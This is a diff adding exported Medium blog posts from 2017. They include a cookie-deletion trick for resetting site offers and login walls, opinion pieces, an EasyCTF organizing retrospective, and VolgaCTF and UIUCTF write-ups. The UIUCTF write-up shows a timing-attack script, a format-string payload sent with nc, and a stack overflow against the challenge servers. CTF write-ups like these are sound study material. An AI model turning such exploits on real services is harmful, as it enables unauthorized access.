+            looked into it enough, but if you poke around, you should be able to find it) they store <strong
+              class="markup--strong markup--p-strong">on your machine</strong> determines when this limited time offer
+            either started or expires. What it means is that the first time you visit the site, the cookie is created
+            and you have 5 minutes from that moment to do this purchase. Afterwards, the cookie still exists on your
+            computer, so it won’t offer you the deal anymore.</p>
+          <p name="49b9" id="49b9" class="graf graf--p graf-after--p">But this means that if you get rid of the
+            cookie, you can get the 5 minute deal back. If you get an extension such as <a
+              href="https://chrome.google.com/webstore/detail/editthiscookie/fngmhnnpilhplaeedifhccceomclgfbg"
+              data-href="https://chrome.google.com/webstore/detail/editthiscookie/fngmhnnpilhplaeedifhccceomclgfbg"
+              class="markup--anchor markup--p-anchor" rel="noopener" target="_blank">EditThisCookie</a> that’s able to
+            view and manipulate cookies, then you can have a lot better control of what websites are storing on your
+            computer.</p>
+          <p name="4afc" id="4afc" class="graf graf--p graf-after--p">Some other websites this trick works on include
+            <a href="https://www.linkedin.com/" data-href="https://www.linkedin.com/"
+              class="markup--anchor markup--p-anchor" rel="noopener" target="_blank">LinkedIn</a> and <a
+              href="https://www.quora.com/" data-href="https://www.quora.com/" class="markup--anchor markup--p-anchor"
+              rel="noopener" target="_blank">Quora</a>, which ask you to create an account to view content after the
+            first time you visit their site. If you don’t want to create an account, then simply delete any cookies
+            they’ve stored on your computer and you will be able to access the site as if it was your first time.
+          </p>
+          <p name="3490" id="3490" class="graf graf--p graf-after--p graf--trailing">That’s all. Thanks for reading!
+          </p>
+        </div>
+      </div>
+    </section>
+  </section>
+  <footer>
+    <p>By <a href="https://medium.com/@failedxyz" class="p-author h-card">Michael Zhang</a> on <a
+        href="https://medium.com/p/eccca70f4684"><time class="dt-published" datetime="2017-01-07T02:58:17.000Z">January
+          7, 2017</time></a>.</p>
+    <p><a href="https://medium.com/@failedxyz/watch-out-returning-users-eccca70f4684" class="p-canonical">Canonical
+        link</a></p>
+    <p>Exported from <a href="https://medium.com">Medium</a> on October 8, 2024.</p>
+  </footer>
+</article>

src/content/posts/2017-01-14_Why-I-think-HTML-is-a-programming-language.md

@@ -0,0 +1,80 @@
+---
+title: Why I think HTML is a programming language.
+date: 2017-01-14T09:07:31.000Z
+tags: [medium-blog]
+---
+
+<article class="h-entry">
+  <section data-field="body" class="e-content">
+    <section name="21e8" class="section section--body section--first section--last">
+      <div class="section-content">
+        <div class="section-inner sectionLayout--insetColumn">
+          <p name="94a6" id="94a6" class="graf graf--p graf-after--h3">Yep, I’m one of those people. Go ahead and
+            judge me, but at least hear me out first.</p>
+          <p name="7407" id="7407" class="graf graf--p graf-after--p">Obviously, the first thing we have to do in
+            order to answer the “Is HTML a programming language?” question is to define what a programming language
+            is. Let’s literally take the term apart:</p>
+          <ul class="postList">
+            <li name="ede6" id="ede6" class="graf graf--li graf-after--p"><strong
+                class="markup--strong markup--li-strong">programming</strong>: It’s when you tell a computer what to
+              do. For example, I can program a bot to respond to messages while I’m away. Or I can program my phone to
+              wake up at 7:30 in the morning. It’s all the same.</li>
+            <li name="2b5d" id="2b5d" class="graf graf--li graf-after--li"><strong
+                class="markup--strong markup--li-strong">language</strong>: A standard method of communication that is
+              accepted by both the speaker and the receiver. Except in this context, it’s not with humans but a
+              machine, so you’re not really speaking.</li>
+          </ul>
+          <p name="832d" id="832d" class="graf graf--p graf-after--li">Following those definitions, a programming
+            language must be a method of communicating to the computers what you want it to do. These are rather loose
+            definitions that I came up with, but if you don’t agree with that, you can stop reading now.</p>
+          <p name="ecc9" id="ecc9" class="graf graf--p graf-after--p">The primary purpose of HTML is to serve as a
+            method to display webpage data that is received from the server into a visual representation into your
+            browser. That’s just a fancy way of saying “you tell the browser where to put stuff”. Let’s check if that
+            satisfies the above points:</p>
+          <ul class="postList">
+            <li name="d874" id="d874" class="graf graf--li graf-after--p">You’re telling the computer how to display
+              elements!</li>
+            <li name="2ae6" id="2ae6" class="graf graf--li graf-after--li">You’re using a system of communication that
+              both you and the computer understand.</li>
+          </ul>
+          <p name="fafb" id="fafb" class="graf graf--p graf-after--li">If you don’t agree that the above two
+            demonstrate that HTML satisfies the requirements for a programming language that I laid out above, then
+            I’d love to hear your thoughts.</p>
+          <p name="fbd3" id="fbd3" class="graf graf--p graf-after--p">So why are people so insistent that HTML is not
+            a programming language? Well, here’s some of the reasons I’ve seen so far.</p>
+          <ul class="postList">
+            <li name="7225" id="7225" class="graf graf--li graf--startsWithDoubleQuote graf-after--p">“You can’t
+              perform arithmetic operations with HTML.” You can’t perform arithmetic operations with HTML because
+              that’s not what it was made for. that’s like trying to use a hammer to screw in a screw. Doesn’t make it
+              any less of a tool.</li>
+            <li name="4e0d" id="4e0d" class="graf graf--li graf--startsWithDoubleQuote graf-after--li">“It can’t
+              process data.” Refer to the first point about arithmetic operations.</li>
+            <li name="3e94" id="3e94" class="graf graf--li graf--startsWithDoubleQuote graf-after--li">“It doesn’t
+              produce executable code.” Why not? Let’s say I put this line into an HTML file: <code
+                class="markup--code markup--li-code">&lt;br /&gt;</code>. Is it not telling the browser to create a
+              line break? Isn’t that making it execute an instruction? Sure, you can say that the HTML isn’t actually
+              creating the element, it’s the browser engine. But by that logic, no programming language actually
+              exists other than the binary data that the machine is executing, since that’s what’s really executing
+              all our code. If you don’t put the elements in, the browser won’t do anything, so HTML is giving the
+              browser instructions on what to do.</li>
+            <li name="537f" id="537f" class="graf graf--li graf--startsWithDoubleQuote graf-after--li">“It’s not
+              Turing-complete.” Where did the requirement that programming languages had to be Turing-complete come
+              in? Just because your hammer isn’t a Swiss army knife that can do everything, doesn’t make it any less
+              of a tool.</li>
+          </ul>
+          <p name="28c1" id="28c1" class="graf graf--p graf-after--li graf--trailing">At the end of the day, this is
+            all just still my opinion. If you don’t agree, please voice your opinions and convince me otherwise
+            (preferably using well-informed arguments)!</p>
+        </div>
+      </div>
+    </section>
+  </section>
+  <footer>
+    <p>By <a href="https://medium.com/@failedxyz" class="p-author h-card">Michael Zhang</a> on <a
+        href="https://medium.com/p/ccf34bd2758c"><time class="dt-published" datetime="2017-01-14T09:07:31.000Z">January
+          14, 2017</time></a>.</p>
+    <p><a href="https://medium.com/@failedxyz/why-i-think-html-is-a-programming-language-ccf34bd2758c"
+        class="p-canonical">Canonical link</a></p>
+    <p>Exported from <a href="https://medium.com">Medium</a> on October 8, 2024.</p>
+  </footer>
+</article>

src/content/posts/2017-02-16_So--you-can-detect-whether-I-use-an-ad-blocker-or-not--eh.md

@@ -0,0 +1,33 @@
+---
+title: So, you can detect whether I use an ad-blocker or not, eh?
+date: 2017-02-16T03:07:43.893Z
+tags: [medium-blog]
+---
+
+<article class="h-entry">
+  <section data-field="body" class="e-content">
+    <section name="fb3e" class="section section--body section--first section--last">
+      <div class="section-content">
+        <div class="section-inner sectionLayout--insetColumn">
+          <p name="3093" id="3093" class="graf graf--p graf-after--h3">Guess it’s one less site I’m going to be
+            wasting my time on now.</p>
+          <p name="55ab" id="55ab" class="graf graf--p graf-after--p">I know it’s an important part of making revenue
+            or whatever, but from the user’s standpoint, ads should be <em
+              class="markup--em markup--p-em">non-intrusive</em>. That means I should be able to do whatever I want on
+            the site without needing to bother looking at your advertisements.</p>
+          <p name="14a3" id="14a3" class="graf graf--p graf-after--p graf--trailing">Don’t push advertisements into my
+            face. Promote good content that people want to see, and they’ll automatically come back for more. Because
+            to be honest, I don’t really care about your site enough to turn off my ad-blocker for it.</p>
+        </div>
+      </div>
+    </section>
+  </section>
+  <footer>
+    <p>By <a href="https://medium.com/@failedxyz" class="p-author h-card">Michael Zhang</a> on <a
+        href="https://medium.com/p/3856335f209c"><time class="dt-published" datetime="2017-02-16T03:07:43.893Z">February
+          16, 2017</time></a>.</p>
+    <p><a href="https://medium.com/@failedxyz/so-you-can-detect-whether-i-use-an-ad-blocker-or-not-eh-3856335f209c"
+        class="p-canonical">Canonical link</a></p>
+    <p>Exported from <a href="https://medium.com">Medium</a> on October 8, 2024.</p>
+  </footer>
+</article>

src/content/posts/2017-03-24_EasyCTF-2017-Wrap-up.md

@@ -0,0 +1,100 @@
+---
+title: EasyCTF 2017 Wrap-up
+date: 2017-03-24T11:36:40.681Z
+tags: [medium-blog]
+---
+
+EasyCTF just concluded this Monday!
+Looking back on the competition, I'd say that this year was our best year ever.
+Let's take a look at some of the stats.
+
+- **5,837** users registered this year, playing on **2,742** teams.
+  Of those teams, **1,938** teams scored points.
+- We had **63** challenges, which was close to our 68 last year.
+- **10.7%** of all teams had 5 members — full teams! In fact, there were more 5-member teams than there were 4-, 3-, and 2-member teams.
+
+I'm really happy to see that so many people were willing to give us a week of their time to participate in our event and work through our challenges, despite the fact that we hadn’t promised any prizes ahead of time.
+
+I'd also like to give a shout-out to the entire dev team who helped monitor basically every point of contact that people had with us and creating amazing challenges.
+
+## Improvements for next year
+
+I still haven’t decided whether I’ll be completely involved in organizing this event again next year.
+I hope that I’ll have some free time alongside my classes, but I’d also like some more cooperation from the rest of the organizers.
+The biggest problem we had this year was basically not working on anything until the week before the competition.
+By that time, it was already too late. Let’s take a closer look at what actually went wrong:
+
+- **Lack of motivation.**
+  I’m not sure people were actually busy during the entire year that we had planned to work, but there was definitely a lack of work put into organizing the competition.
+  We had some big ideas at the beginning of the year, but as time passed, the chances of those ideas becoming reality looked rather slim as no one wanted to be the first one to start working.
+  Somewhere in there I threw in a couple of deadlines, and we got a couple of problems written.
+  Had I not done that, I fear we would have had much fewer problems than we actually did.
+- **No contact with sponsor companies.**
+  Contacting sponsors should have been one of the first things we did, since it takes a long time to sort out details and companies usually take at least two weeks to reply to emails anyway.
+  Towards the end, we did get an email from DigitalOcean saying they were willing to fund servers for our competition, but launch day came and we didn’t hear back from them again.
+- **No coordination.**
+  Some of the feedback I’ve been hearing about this year’s competition is a shortage of actually “easy” problems.
+  We never really went through the competition and tried to lay out a “spectrum” of problems nor tackle it from the participants’ perspective.
+  Every problem was either just a “cool idea” someone had or “I feel like a CTF needs this.”
+  The intermediate web section was completely missing.
+- **Unbalanced team.**
+  Our team comprised mainly of problem writers.
+  That’s great and all, but when it comes to things like contacting sponsor companies, writing the website, planning some kind of game, we basically have no resources to do those.
+  I spent my entire time developing OpenCTF, the platform that powered the competition, and I know for sure that was a task too large for me to handle.
+  Getting more web designers or people with other skills would have helped out a lot.
+
+I’ve also got a couple of points of reflection for prospective CTF organizers, so if you’re planning to run a CTF, this is for you.
+
+- **Participant experience takes first priority.**
+  A lot of organizers think the hardest part of running a CTF is getting good challenges.
+  And they’d be right.
+  But that’s not to say that preparing a solid game infrastructure for flag submission is going to be something you can do last-minute.
+  When it comes to the participants’ experience, the first thing that they encounter is the website.
+  Then a few initial challenges.
+  Then probably the chat.
+  Make sure you have those down well and people will probably have a better initial impression of your CTF.
+- **Some people are there to make you miserable.**
+  As the one in control, you need to account for those people.
+  We’re lucky that we only had relatively few encounters with such people but do keep in mind that you are still running an event and that takes first priority.
+  During EasyCTF, there were a couple of people who thought it was funny to drop flags for hard challenges into the chat room.
+  When we tried to get them to stop, they would come back under different aliases in order to annoy us.
+  At that point we just shut down the entire chat room; the competition had to go on.
+- **Ignore unconstructive negative feedback.**
+  Don’t take it to heart, solve the problems, and move on.
+  Who cares if some random kid in IRC says your CTF is garbage?
+  Ask them what issues they’re having, fix them, and they’ll be happy.
+  It’s really not that complicated.
+- **Docker.**
+  Is probably a good idea.
+  The learning curve is not bad and it’s a great way to create disposable containers that can restart easily.
+  Not only should you use Docker for your main competition website, you should also use it for all of the challenges that involve communicating with a server.
+
+Here’s something else I definitely have to share.
+We had this autogen system that created different flags for different teams in order to discourage flag sharing.
+Some people came up to us reporting that their flag wasn’t working, when they clearly just took some other team’s flag.
+I didn’t really do anything about it, but just thought it was pretty funny that they had the nerve to report it to us even though they were cheating.
+
+So, what’s the future for EasyCTF?
+
+- I’m seeing OpenCTF as a more permanent solution to our main platform.
+  It’s a very complex piece of software and it would be insane to try to rewrite it from scratch.
+  I’m in the process of creating an open-source version of it and making it customizable (for example, turning off features that you don’t need like the programming judge) for CTF organizers.
+- We had this project going on a while back for a CTF calendar that also hosted tasks.
+  I was also hoping that it would be able to replay entire competitions but that seems a bit too hopeful at this point.
+  It would be nice to just get the calendar revived.
+- WeebCTF is happening again this summer, dates still yet to be decided.
+  If you’re into anime (or even if you’re not), come check it out!
+- Applications for joining the organizing team for the next EasyCTF will open soon.
+  If there was something you didn’t like about EasyCTF, and you think you could have done better, by all means, join the team!
+  We’d like to hear your ideas.
+
+Thanks for reading, and I hope I’ll be seeing you at the next CTF!
+
+<footer>
+  <p>By <a href="https://medium.com/@failedxyz" class="p-author h-card">Michael Zhang</a> on <a
+      href="https://medium.com/p/4bbd1ca68877"><time class="dt-published" datetime="2017-03-24T11:36:40.681Z">March
+        24, 2017</time></a>.</p>
+  <p><a href="https://medium.com/@failedxyz/easyctf-2017-wrap-up-4bbd1ca68877" class="p-canonical">Canonical
+      link</a></p>
+  <p>Exported from <a href="https://medium.com">Medium</a> on October 8, 2024.</p>
+</footer>

src/content/posts/2017-03-26_VolgaCTF-2017-Writeups.md

@@ -0,0 +1,94 @@
+---
+title: VolgaCTF 2017 Writeups
+date: 2017-03-26T21:52:31.553Z
+tags: [medium-blog]
+---
+
+<article class="h-entry">
+  <section data-field="body" class="e-content">
+    <section name="0b53" class="section section--body section--first section--last">
+      <div class="section-content">
+        <div class="section-inner sectionLayout--insetColumn">
+          <p name="e3cc" id="e3cc" class="graf graf--p graf-after--h3">I participated in VolgaCTF under the team Shell
+            Smash. We finished in 138th place with 600 points. Here are the write-ups for the problems that I did.</p>
+          <h3 name="bb61" id="bb61" class="graf graf--h3 graf-after--p">VC (50 points)</h3>
+          <p name="f5dc" id="f5dc" class="graf graf--p graf-after--h3">This was a pretty standard image analysis
+            problem. We are given two images that are relatively similar, except for a couple of bytes. If we just xor
+            the two images together, the flag appears in plain sight.</p>
+          <figure name="dee3" id="dee3" class="graf graf--figure graf--iframe graf-after--p">
+            <script src="https://gist.github.com/failedxyz/a7958fd7b5fff2c7b04de034cb9bc199.js"></script>
+          </figure>
+          <h3 name="1171" id="1171" class="graf graf--h3 graf-after--figure">PyCrypto (100 points)</h3>
+          <p name="3968" id="3968" class="graf graf--p graf-after--h3">We are given a Python file with an encrypt
+            function. It’s using an encryption function from the <code
+              class="markup--code markup--p-code">pycryptography.so</code> library that was also given. By analyzing
+            the so, it looks like the encryption algorithm is simply an xor with the key, and if the key is shorter
+            than the message, then just repeat the key. This algorithm is known as a vigenère cipher, or repeating-key
+            xor cipher. Fortunately, I had some old code to crack this type of cipher exactly from cryptopals.</p>
+          <figure name="a89f" id="a89f" class="graf graf--figure graf--iframe graf-after--p">
+            <script src="https://gist.github.com/failedxyz/425c663e1cb56caa328a1e263ec1565e.js"></script>
+          </figure>
+          <h3 name="df11" id="df11" class="graf graf--h3 graf-after--figure">Angry Guessing Game (200 points)</h3>
+          <p name="9dc1" id="9dc1" class="graf graf--p graf-after--h3">The first step was to open this binary in IDA.
+            It’s easy to get lost, because there are so many functions, so the first thing I did was hit Shift+F12 and
+            look at the strings. The one I was looking for, in particular, was “You’ve entered the correct license
+            key!” If I found where this was called during execution, I could trace it back to the actual place where
+            it performs the check.</p>
+          <figure name="ca83" id="ca83" class="graf graf--figure graf-after--p"><img class="graf-image"
+              data-image-id="1*tOWToDf10V2YnUScoVAlhg.png" data-width="972" data-height="144"
+              src="https://cdn-images-1.medium.com/max/800/1*tOWToDf10V2YnUScoVAlhg.png">
+            <figcaption class="imageCaption">Using the strings to follow execution.</figcaption>
+          </figure>
+          <p name="4cd9" id="4cd9" class="graf graf--p graf-after--figure">Here you can see I’ve found that sub_5F70
+            contains the code that checks whether you’ve already played 3 times, and tells the program to start asking
+            for a license key. Should it ask for a license key, it will redirect the execution to sub_6660, where it
+            actually prompts the user.</p>
+          <p name="990a" id="990a" class="graf graf--p graf-after--p">I’m going to start from the bottom of sub_6660,
+            trying to follow what it’s returning, because ultimately the result of this function is either going to be
+            true/false — whether it accepts your license key. Poking around, I found this call to an interesting
+            function: sub_67D0. Seems like it’s literally just checking your license key character by character.</p>
+          <figure name="e892" id="e892" class="graf graf--figure graf-after--p"><img class="graf-image"
+              data-image-id="1*m6YBCqASg66wa1I6IXlRtQ.png" data-width="484" data-height="776"
+              src="https://cdn-images-1.medium.com/max/800/1*m6YBCqASg66wa1I6IXlRtQ.png">
+            <figcaption class="imageCaption">The license key checker.</figcaption>
+          </figure>
+          <p name="ced2" id="ced2" class="graf graf--p graf-after--figure">I wonder what happens if you just convert
+            all of those values to ASCII?</p>
+          <figure name="fd19" id="fd19" class="graf graf--figure graf-after--p"><img class="graf-image"
+              data-image-id="1*KkjogeoBtk7d3Z-cslOu6w.png" data-width="667" data-height="785"
+              src="https://cdn-images-1.medium.com/max/800/1*KkjogeoBtk7d3Z-cslOu6w.png">
+            <figcaption class="imageCaption">The letters of the flag.</figcaption>
+          </figure>
+          <p name="780e" id="780e" class="graf graf--p graf-after--figure">Looks like our license key is the flag!</p>
+          <h3 name="25ef" id="25ef" class="graf graf--h3 graf-after--p">KeyPass (100 points)</h3>
+          <p name="ee4c" id="ee4c" class="graf graf--p graf-after--h3">I didn’t actually finish this one during the
+            competition time, because I was being really stupid and not reading their hint. In this challenge, they
+            handed out an encrypted flag and a program that “generates secure encryption keys.”</p>
+          <p name="53fd" id="53fd" class="graf graf--p graf-after--p">Picking apart the binary, it looks like what the
+            program is doing is just generating a seed out of the passphrase that you give to it, by xor’ing every
+            character of your passphrase together. This was then used in an LCG to get “random” bytes out of a
+            dictionary of 82 bytes.</p>
+          <p name="4045" id="4045" class="graf graf--p graf-after--p">The problem with this method is, there a total
+            of about 128 values for this “seed,” because ASCII values range from 0 to 128, and since higher bits are
+            not involved, xor will never go out of that range either. So to solve the problem, you simply generate all
+            of the keys for seeds from 0 to 128. I’ve reimplemented the key generation in Python here:</p>
+          <figure name="0cc9" id="0cc9" class="graf graf--figure graf--iframe graf-after--p">
+            <script src="https://gist.github.com/failedxyz/1cbc3a63152d095dca58f7b6d89a8b77.js"></script>
+          </figure>
+          <p name="acb2" id="acb2" class="graf graf--p graf-after--figure graf--trailing">So why couldn’t I finish it?
+            Because when I was actually checking the key with <code
+              class="markup--code markup--p-code">openssl aes-128-cbc -d -in flag.zip.enc -out flag.zip -pass env:PASSWORD</code>,
+            I wasn’t using the version of OpenSSL that they specified, version 1.1.0e. Lesson learned, I guess.</p>
+        </div>
+      </div>
+    </section>
+  </section>
+  <footer>
+    <p>By <a href="https://medium.com/@failedxyz" class="p-author h-card">Michael Zhang</a> on <a
+        href="https://medium.com/p/632fa7821dca"><time class="dt-published" datetime="2017-03-26T21:52:31.553Z">March
+          26, 2017</time></a>.</p>
+    <p><a href="https://medium.com/@failedxyz/volgactf-2017-writeups-632fa7821dca" class="p-canonical">Canonical
+        link</a></p>
+    <p>Exported from <a href="https://medium.com">Medium</a> on October 8, 2024.</p>
+  </footer>
+</article>

src/content/posts/2017-05-01_UIUCTF-2017-Writeups.md

@@ -0,0 +1,117 @@
+---
+title: UIUCTF 2017 Writeups
+date: 2017-05-01T00:09:47.978Z
+tags: [medium-blog]
+---
+
+<article class="h-entry">
+  <section data-field="body" class="e-content">
+    <section name="edd2" class="section section--body section--first section--last">
+      <div class="section-content">
+        <div class="section-inner sectionLayout--insetColumn">
+          <p name="dca1" id="dca1" class="graf graf--p graf-after--h3">I competed in UIUCTF this year with Aaron Cao.
+            We ended up placing 23rd with 1300 points. Here are some of the solutions to the challenges I solved.</p>
+          <h3 name="f21d" id="f21d" class="graf graf--h3 graf-after--p">High School Crypto (100 points, crypto)</h3>
+          <p name="5d6b" id="5d6b" class="graf graf--p graf-after--h3">In this challenge, we are basically given some
+            encrypted information, as well as the following encryption program.</p>
+          <pre name="d6b3" id="d6b3"
+            class="graf graf--pre graf-after--p">import sys, itertools<br>if(len(sys.argv) != 3):<br>    print(&quot;Usage: [FILE] [KEY]&quot;)<br>    exit(-1)<br><br>filename = sys.argv[1]<br>key = sys.argv[2]<br><br>with open(filename, &#39;rb&#39;) as plaintext:<br>    raw = plaintext.read()<br>    print(len(raw))<br>    with open(filename + &#39;.out&#39;, &#39;wb&#39;) as ciphertext:<br>        for l, r in zip(raw, itertools.cycle(key)):<br>            ciphertext.write( (l ^ ord(r)).to_bytes(1, byteorder=&#39;big&#39;) )</pre>
+          <p name="2402" id="2402" class="graf graf--p graf-after--pre">Upon not-so-close inspection, it seems like
+            it’s just a repeated-xor cipher. Using code that I had written for Cryptopals Set 1, I decoded it quickly,
+            obtaining a long plaintext, containing the flag.</p>
+          <h3 name="1b1a" id="1b1a" class="graf graf--h3 graf-after--p">Thematic (100 points, recon)</h3>
+          <p name="318b" id="318b" class="graf graf--p graf-after--h3"><a
+              href="https://twitter.com/SwiftOnSecurity/status/858092845886046209"
+              data-href="https://twitter.com/SwiftOnSecurity/status/858092845886046209"
+              class="markup--anchor markup--p-anchor" rel="nofollow noopener"
+              target="_blank">https://twitter.com/SwiftOnSecurity/status/858092845886046209</a></p>
+          <h3 name="f8de" id="f8de" class="graf graf--h3 graf-after--p">Taylor’s Magical Flag Oracle (150 points,
+            reversing)</h3>
+          <p name="6c04" id="6c04" class="graf graf--p graf-after--h3">We’re given a flag-checking service that seems
+            to be vulnerable to timing attack. In essence, here’s what happens: the service checks our flag character
+            by character; if that character is the same, move on to the next, otherwise, just return false, since we
+            know that the string can’t be equal anyway. But in this case, the program delays by 0.25 — a significant
+            amount! — before moving on, to prevent brute force? apparently. But there’s one huge flaw.</p>
+          <p name="939a" id="939a" class="graf graf--p graf-after--p">If you brute force all of the possibilities for
+            the <em class="markup--em markup--p-em">next character</em>, there’s going to be a significant time gap
+            between returns if you submit the right character vs. if you submit the wrong one. Here’s what it means:
+            say I know the flag starts with <code class="markup--code markup--p-code">flag{</code> , which I do. Upon
+            submitting <code class="markup--code markup--p-code">flag{</code>, I know it’s going to be delaying for at
+            least 5 * 0.25, which is 1.25 seconds. I don’t know the 6th character yet, but there’s only 2 things that
+            can happen:</p>
+          <ul class="postList">
+            <li name="69d8" id="69d8" class="graf graf--li graf-after--p">I get it wrong; the program returns
+              immediately because it doesn’t hit the sleep, and my result is return in ~1.25 seconds, with a bit of
+              latency, but not enough to make it &gt;1.5 seconds.</li>
+            <li name="95b5" id="95b5" class="graf graf--li graf-after--li">I get it right; the program sleeps for 0.25
+              before moving on because the pass has checked.</li>
+          </ul>
+          <p name="2016" id="2016" class="graf graf--p graf-after--li">Hopefully the problem becomes obvious now. If I
+            check how long it takes me to get my result, I’ll be able to “guess” the password character by character.
+            Knowing this, here is the script I used to get the flag:</p>
+          <pre name="f905" id="f905"
+            class="graf graf--pre graf-after--p">import socket<br>from functools import wraps<br>from time import time<br>from string import printable</pre>
+          <pre name="4d70" id="4d70"
+            class="graf graf--pre graf-after--pre">addr = (&quot;challenge.uiuc.tf&quot;, 11340)<br>s = socket.socket()<br>s.connect(addr)</pre>
+          <pre name="05be" id="05be"
+            class="graf graf--pre graf-after--pre">def stopwatch(f):<br>    <a href="http://twitter.com/wraps" data-href="http://twitter.com/wraps" class="markup--anchor markup--pre-anchor" title="Twitter profile for @wraps" rel="noopener" target="_blank">@wraps</a>(f)<br>    def wrapper(*args, **kwargs):<br>        start = time()<br>        result = f(*args, **kwargs)<br>        end = time()<br>        return end - start<br>    return wrapper</pre>
+          <pre name="017f" id="017f"
+            class="graf graf--pre graf-after--pre"><a href="http://twitter.com/stopwatch" data-href="http://twitter.com/stopwatch" class="markup--anchor markup--pre-anchor" title="Twitter profile for @stopwatch" rel="noopener" target="_blank">@stopwatch</a><br>def test_flag(flag):<br>    global s<br>    s.send(flag + &quot;\n&quot;)<br>    s.recv(20) # &gt;</pre>
+          <pre name="4624" id="4624"
+            class="graf graf--pre graf-after--pre">s.recv(20) # &gt;<br>known_flag = &quot;flag{&quot;<br>while True:<br>    for c in printable:<br>        benchmark = 0.25 * (len(known_flag) + 1)<br>        actual = test_flag(known_flag + c)<br>        print c, benchmark, actual<br>        if actual &gt; benchmark:<br>            known_flag += c<br>            print known_flag<br>            break</pre>
+          <h3 name="0dea" id="0dea" class="graf graf--h3 graf-after--pre">babyrsa (200 points, crypto)</h3>
+          <pre name="c0da" id="c0da"
+            class="graf graf--pre graf-after--h3">n = 826280450476795403105390383916395625701073920777162153138597185953056944510888027904354828464602421249363674719063026424044747076553321187265165775178889032794638105579799203345357910166892700405175658568627675449699540840288382597105404255643311670752496397923267416409538484199324051251779098290351314013642933189000153869540797043267546151497242578717464980825955180662199508957183411268811625401646070827084944007483568527240194185553478349118552388947992831458170444492412952312967110446929914832061366940165718329077289379496793520793044453012845571593091239615903167358140251268988719634075550032402744471298472559374963794796831888972573597223883502207025864412727194467531305956804869282127211781893423868568924921460804452906287133831167209340798856323714333552031073990953099946860260440120550744737264831895097569281340675979651355169393606387485601024283179141075124116079680183641040638005340147490312370291020282845417263785200481799143148652902589069064306494803532124234850362800892646823909347208346956741220877224626765444423081432186871792825772139369254830825377015531518313838382717867736340509229694011716101360463757629023320658921011843627332643744464724204771008866440681008984222122706436344770910544932757<br>e = 5<br>c = 199037898049081148054548566008626493558290050160287889209057083223407180156125399899465196611255722303390874101982934954388936179424024104549780651688160499201410108321518752502957346260593418668796624999582838387982430520095732090601546001755571395014548912727418182188910950322763678024849076083148030838828924108260083080562081253547377722180347372948445614953503124471116393560745613311509380885545728947236076476736881439654048388176520444109172092029548244462475513941506675855751026925250160078913809995564374674278235553349778352067191820570404315381746499936539482369231372882062307188454140330786512148310245052484671692280269741146507675933518321695623680547732771867757371698350343979932499637752314262246864787150534170586075473209768119198889190503283212208200005176410488476529948013610803040328568552414972234514746292014601094331465138374210925373263573292609023829742634966280579621843784216908520325876171463017051928049668240295956697023793952538148945070686999838223927548227156965116574566365108818752174755077045394837234760506722554542515056441166987424547451245495248956829984641868331576895415337336145024631773347254905002735757</pre>
+          <p name="2839" id="2839" class="graf graf--p graf-after--pre">Standard RSA challenge, we’re given N, e, and
+            c and we’re asked to find the original message… It’s supposed to be a “baby” RSA challenge, so one thing
+            that came to mind was that m^e is actually <em class="markup--em markup--p-em">less</em> than N. I put the
+            ciphertext c into factordb.com, and it turned out that it was a perfect fifth power! (recall that e=5).
+            The problem became trivial at this point; to get the flag, simply convert the fifth root of c back into
+            ASCII.</p>
+          <h3 name="d90e" id="d90e" class="graf graf--h3 graf-after--p">goodluck (200 points, pwn)</h3>
+          <p name="6b0f" id="6b0f" class="graf graf--p graf-after--h3">This challenge was pretty straightforward; once
+            I opened it in IDA, I noticed that it was <code class="markup--code markup--p-code">printf</code>’ing some
+            user-supplied input. I tried a bunch of values with the binary locally until I got the exploit string
+            <code class="markup--code markup--p-code">%9$s</code>, which prints the 9th string on the stack (which is
+            where <code class="markup--code markup--p-code">flag.txt</code> was read to).
+          </p>
+          <pre name="c548" id="c548"
+            class="graf graf--pre graf-after--p">michael@zhang:~$ echo “%9\$s” | nc challenge.uiuc.tf 11342 <br>what’s the flag <br>You answered: <br>flag{always_give_110%} <br>But that was totally wrong lol get rekt</pre>
+          <h3 name="62c9" id="62c9" class="graf graf--h3 graf-after--pre">LSLol — Log in, stay here (200 points,
+            reversing)</h3>
+          <p name="f237" id="f237" class="graf graf--p graf-after--h3">To be honest, I don’t even know how I solved
+            this one. I think I created an account and just tried a bunch of random stuff until I was at the location
+            indicated in the <code class="markup--code markup--p-code">X-SecondLife-Local-Position</code> header in
+            the URL I was given.</p>
+          <h3 name="5f73" id="5f73" class="graf graf--h3 graf-after--p">snekquiz (200 points, pwn)</h3>
+          <p name="4ea6" id="4ea6" class="graf graf--p graf-after--h3">In this challenge, we aren’t given a binary,
+            just a server to connect to. So we kind of have to imagine how it’s programmed. The server asks us 3
+            questions, then reveals us the answers so we can get all 3 right the next time. But we need a score of 5
+            to get the flag!</p>
+          <p name="05bc" id="05bc" class="graf graf--p graf-after--p">I imagine that the score variable must be in the
+            local scope of whatever function is doing the input loop. If that’s the case, we can definitely overwrite
+            it, since buffer length is not being checked. Apparently stack protector has been enabled so we won’t be
+            able to write out of the stack frame, but that doesn’t really matter since we aren’t even given a binary
+            to work with.</p>
+          <p name="e0ba" id="e0ba" class="graf graf--p graf-after--p">After trying a bunch of values, I got that 88
+            was the maximum number of <code class="markup--code markup--p-code">A</code>s I was allowed to send to the
+            server before I started writing over the canary. I got a message that looked like this:</p>
+          <pre name="d225" id="d225"
+            class="graf graf--pre graf-after--p">Score greater than 5 detected! You must be cheating with a score like 1094795585</pre>
+          <p name="0858" id="0858" class="graf graf--p graf-after--pre graf--trailing">(for reference, that number is
+            0x41414141). That means score is being scored in an int. This time, I sent <code
+              class="markup--code markup--p-code">\x05\x00\x00\x00</code> 22 times, hoping that it would overwrite the
+            score variable with the exact value of 5, and it did!</p>
+        </div>
+      </div>
+    </section>
+  </section>
+  <footer>
+    <p>By <a href="https://medium.com/@failedxyz" class="p-author h-card">Michael Zhang</a> on <a
+        href="https://medium.com/p/a53aabe1bc56"><time class="dt-published" datetime="2017-05-01T00:09:47.978Z">May 1,
+          2017</time></a>.</p>
+    <p><a href="https://medium.com/@failedxyz/uiuctf-2017-writeups-a53aabe1bc56" class="p-canonical">Canonical
+        link</a></p>
+    <p>Exported from <a href="https://medium.com">Medium</a> on October 8, 2024.</p>
+  </footer>
+</article>

src/content/posts/2017-05-24_OverTheWire--Narnia.md

@@ -0,0 +1,41 @@
+---
+title: "OverTheWire: Narnia"
+date: 2017-05-24T03:10:36.500Z
+tags: [medium-blog]
+---
+
+<article class="h-entry">
+  <section data-field="body" class="e-content">
+    <section name="6f76" class="section section--body section--first section--last">
+      <div class="section-content">
+        <div class="section-inner sectionLayout--insetColumn">
